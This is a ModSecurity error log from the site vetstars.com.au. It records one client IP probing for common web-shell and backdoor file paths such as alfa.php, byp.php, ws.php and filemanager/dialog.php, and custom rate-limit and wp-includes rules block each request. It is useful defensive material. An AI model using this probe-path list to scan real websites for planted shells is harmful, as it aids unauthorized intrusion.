[Wed Nov 26 01:00:24.163057 2025] [:error] [pid 43843:tid 43852] [client 172.207.189.235:21353] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aSXgqBhx4v3NUNdMKDMiqgAAAcc"]
[Wed Nov 26 01:00:24.390811 2025] [:error] [pid 2987:tid 3002] [client 172.207.189.235:21499] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aSXgqM-djEt-pTzPxnwBmAAAAU0"]
[Wed Nov 26 01:00:24.709856 2025] [:error] [pid 2987:tid 2999] [client 172.207.189.235:21277] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aSXgqM-djEt-pTzPxnwBmQAAAUo"]
[Wed Nov 26 01:00:24.974008 2025] [:error] [pid 14076:tid 14094] [client 172.207.189.235:21304] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aSXgqHsB4Gz6Qw-pvBuBiQAAAA0"]
[Wed Nov 26 01:00:25.204495 2025] [:error] [pid 28609:tid 28624] [client 172.207.189.235:21273] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aSXgqSGGdT-nZJVs3x0rbwAAAYY"]
[Wed Nov 26 01:00:25.454631 2025] [:error] [pid 14076:tid 14085] [client 172.207.189.235:21294] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aSXgqXsB4Gz6Qw-pvBuBiwAAAAQ"]
[Wed Nov 26 01:00:25.694263 2025] [:error] [pid 43843:tid 43857] [client 172.207.189.235:21392] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aSXgqRhx4v3NUNdMKDMirgAAAcw"]
[Wed Nov 26 01:00:25.959293 2025] [:error] [pid 14078:tid 14153] [client 172.207.189.235:21355] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aSXgqdVXYbb0ii_rVoLhXwAAAJA"]
[Wed Nov 26 01:00:26.220758 2025] [:error] [pid 28739:tid 28764] [client 172.207.189.235:20948] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aSXgqhxGpKmlkG4FexT3OQAAAgI"]
[Wed Nov 26 01:00:26.452487 2025] [:error] [pid 28609:tid 28620] [client 172.207.189.235:21430] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aSXgqiGGdT-nZJVs3x0rcQAAAYI"]
[Wed Nov 26 01:00:26.685339 2025] [:error] [pid 14076:tid 14096] [client 172.207.189.235:21362] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aSXgqnsB4Gz6Qw-pvBuBkgAAAA8"]
[Wed Nov 26 01:00:26.986322 2025] [:error] [pid 14076:tid 14104] [client 172.207.189.235:21344] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aSXgqnsB4Gz6Qw-pvBuBlAAAABc"]
[Wed Nov 26 01:00:27.278467 2025] [:error] [pid 28609:tid 28634] [client 172.207.189.235:21203] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "aSXgqyGGdT-nZJVs3x0rdAAAAZA"]
[Wed Nov 26 01:00:27.550638 2025] [:error] [pid 28609:tid 28635] [client 172.207.189.235:21339] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "aSXgqyGGdT-nZJVs3x0reAAAAZE"]
[Wed Nov 26 01:00:27.863402 2025] [:error] [pid 2987:tid 3012] [client 172.207.189.235:21256] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "aSXgq8-djEt-pTzPxnwBoQAAAVc"]
[Wed Nov 26 01:00:28.099652 2025] [:error] [pid 14076:tid 14100] [client 172.207.189.235:21281] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "aSXgrHsB4Gz6Qw-pvBuBmAAAABM"]
[Wed Nov 26 01:00:28.330307 2025] [:error] [pid 14078:tid 14144] [client 172.207.189.235:21295] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp.php"] [unique_id "aSXgrNVXYbb0ii_rVoLhagAAAIc"]
[Wed Nov 26 01:00:28.586908 2025] [:error] [pid 14077:tid 14112] [client 172.207.189.235:20928] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp.php"] [unique_id "aSXgrBG9n7UHEkwDTygGNQAAAEI"]
[Wed Nov 26 01:00:28.909381 2025] [:error] [pid 14076:tid 14089] [client 172.207.189.235:21212] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp.php"] [unique_id "aSXgrHsB4Gz6Qw-pvBuBmgAAAAg"]
[Wed Nov 26 01:00:29.187231 2025] [:error] [pid 43981:tid 43986] [client 172.207.189.235:21324] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp.php"] [unique_id "aSXgrQgZn97m_qh_RaGZWAAAAwM"]
[Wed Nov 26 01:00:29.430306 2025] [:error] [pid 43981:tid 43983] [client 172.207.189.235:21343] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php"] [unique_id "aSXgrQgZn97m_qh_RaGZWgAAAwA"]
[Wed Nov 26 01:00:29.920490 2025] [:error] [pid 28609:tid 28642] [client 172.207.189.235:21313] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php"] [unique_id "aSXgrSGGdT-nZJVs3x0rfAAAAZg"]
[Wed Nov 26 01:00:30.245329 2025] [:error] [pid 43843:tid 43854] [client 172.207.189.235:21246] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php"] [unique_id "aSXgrhhx4v3NUNdMKDMisgAAAck"]
[Wed Nov 26 01:00:30.573694 2025] [:error] [pid 14078:tid 14142] [client 172.207.189.235:21287] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php"] [unique_id "aSXgrtVXYbb0ii_rVoLhdQAAAIU"]
[Wed Nov 26 01:00:30.834880 2025] [:error] [pid 28609:tid 28622] [client 172.207.189.235:21332] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aSXgriGGdT-nZJVs3x0rggAAAYQ"]
[Wed Nov 26 01:00:31.081864 2025] [:error] [pid 14078:tid 14153] [client 172.207.189.235:21199] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aSXgr9VXYbb0ii_rVoLhdgAAAJA"]
[Wed Nov 26 01:00:31.386710 2025] [:error] [pid 2987:tid 2992] [client 172.207.189.235:21357] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aSXgr8-djEt-pTzPxnwBpgAAAUM"]
[Wed Nov 26 01:00:31.637124 2025] [:error] [pid 14077:tid 14128] [client 172.207.189.235:21298] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aSXgrxG9n7UHEkwDTygGPQAAAFI"]
[Wed Nov 26 01:00:31.971499 2025] [:error] [pid 14168:tid 14191] [client 172.207.189.235:21290] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aSXgr_R-ZDU0QEgAIIu-FgAAANQ"]
[Wed Nov 26 01:00:32.211900 2025] [:error] [pid 43843:tid 43869] [client 172.207.189.235:21191] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aSXgsBhx4v3NUNdMKDMitQAAAdg"]
[Wed Nov 26 01:00:32.514400 2025] [:error] [pid 14076:tid 14103] [client 172.207.189.235:21434] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aSXgsHsB4Gz6Qw-pvBuBnQAAABY"]
[Wed Nov 26 01:00:32.810285 2025] [:error] [pid 43981:tid 44001] [client 172.207.189.235:21188] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aSXgsAgZn97m_qh_RaGZYAAAAxI"]
[Wed Nov 26 01:00:33.128059 2025] [:error] [pid 14168:tid 14179] [client 172.207.189.235:21366] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aSXgsfR-ZDU0QEgAIIu-HwAAAMg"]
[Wed Nov 26 01:00:33.371710 2025] [:error] [pid 43843:tid 43858] [client 172.207.189.235:21296] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aSXgsRhx4v3NUNdMKDMiuAAAAc0"]
[Wed Nov 26 01:00:33.622798 2025] [:error] [pid 14168:tid 14189] [client 172.207.189.235:21201] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aSXgsfR-ZDU0QEgAIIu-IwAAANI"]
[Wed Nov 26 01:00:33.853180 2025] [:error] [pid 28609:tid 28634] [client 172.207.189.235:21261] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aSXgsSGGdT-nZJVs3x0rhgAAAZA"]
[Wed Nov 26 01:00:34.124387 2025] [:error] [pid 28836:tid 29010] [client 172.207.189.235:21307] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aSXgspwNRsoxcLQGkTceZwAAAtQ"]
[Wed Nov 26 01:00:34.365199 2025] [:error] [pid 14076:tid 14088] [client 172.207.189.235:21302] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aSXgsnsB4Gz6Qw-pvBuBoAAAAAc"]
[Wed Nov 26 01:00:34.603165 2025] [:error] [pid 14076:tid 14097] [client 172.207.189.235:21267] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aSXgsnsB4Gz6Qw-pvBuBogAAABA"]
[Wed Nov 26 01:00:34.845165 2025] [:error] [pid 43981:tid 44007] [client 172.207.189.235:21184] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aSXgsggZn97m_qh_RaGZawAAAxg"]
[Wed Nov 26 01:00:35.117171 2025] [:error] [pid 14168:tid 14182] [client 172.207.189.235:21262] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gmo.php"] [unique_id "aSXgs_R-ZDU0QEgAIIu-KwAAAMs"]
[Wed Nov 26 01:00:35.353584 2025] [:error] [pid 2987:tid 2999] [client 172.207.189.235:21195] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gmo.php"] [unique_id "aSXgs8-djEt-pTzPxnwBqgAAAUo"]
[Wed Nov 26 01:00:35.582356 2025] [:error] [pid 28739:tid 28785] [client 172.207.189.235:20958] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gmo.php"] [unique_id "aSXgsxxGpKmlkG4FexT3RQAAAhc"]
[Wed Nov 26 01:00:35.902877 2025] [:error] [pid 43981:tid 43992] [client 172.207.189.235:21363] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gmo.php"] [unique_id "aSXgswgZn97m_qh_RaGZbQAAAwk"]
[Wed Nov 26 01:00:36.133675 2025] [:error] [pid 28836:tid 28968] [client 172.207.189.235:21431] [client 172.207.189.235] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aSXgtJwNRsoxcLQGkTcebgAAAs0"]
[Wed Nov 26 01:00:36.432382 2025] [:error] [pid 14076:tid 14087] [client 172.207.189.235:21254] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/index.php"] [unique_id "aSXgtHsB4Gz6Qw-pvBuBpgAAAAY"]
[Wed Nov 26 01:00:36.673722 2025] [:error] [pid 28836:tid 28960] [client 172.207.189.235:21140] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/index.php"] [unique_id "aSXgtJwNRsoxcLQGkTcecAAAAsU"]
[Wed Nov 26 01:00:36.904593 2025] [:error] [pid 14168:tid 14195] [client 172.207.189.235:20929] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/index.php"] [unique_id "aSXgtPR-ZDU0QEgAIIu-MAAAANg"]
[Wed Nov 26 01:00:37.150018 2025] [:error] [pid 43981:tid 43997] [client 172.207.189.235:21223] [client 172.207.189.235] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aSXgtQgZn97m_qh_RaGZcAAAAw4"]
[Wed Nov 26 01:00:37.398594 2025] [:error] [pid 43981:tid 44005] [client 172.207.189.235:21192] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aSXgtQgZn97m_qh_RaGZcQAAAxY"]
[Wed Nov 26 01:00:37.648294 2025] [:error] [pid 28609:tid 28630] [client 172.207.189.235:21224] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aSXgtSGGdT-nZJVs3x0rkAAAAYw"]
[Wed Nov 26 01:00:37.939868 2025] [:error] [pid 28739:tid 28783] [client 172.207.189.235:21346] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aSXgtRxGpKmlkG4FexT3TQAAAhU"]
[Wed Nov 26 01:00:38.190593 2025] [:error] [pid 14078:tid 14155] [client 172.207.189.235:20983] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aSXgttVXYbb0ii_rVoLhfgAAAJI"]
[Wed Nov 26 01:00:38.417346 2025] [:error] [pid 14078:tid 14147] [client 172.207.189.235:21308] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aSXgttVXYbb0ii_rVoLhfwAAAIo"]
[Wed Nov 26 01:00:38.648061 2025] [:error] [pid 2987:tid 2998] [client 172.207.189.235:21453] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aSXgts-djEt-pTzPxnwBrgAAAUk"]
[Wed Nov 26 01:00:38.947620 2025] [:error] [pid 14168:tid 14185] [client 172.207.189.235:20964] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aSXgtvR-ZDU0QEgAIIu-NQAAAM4"]
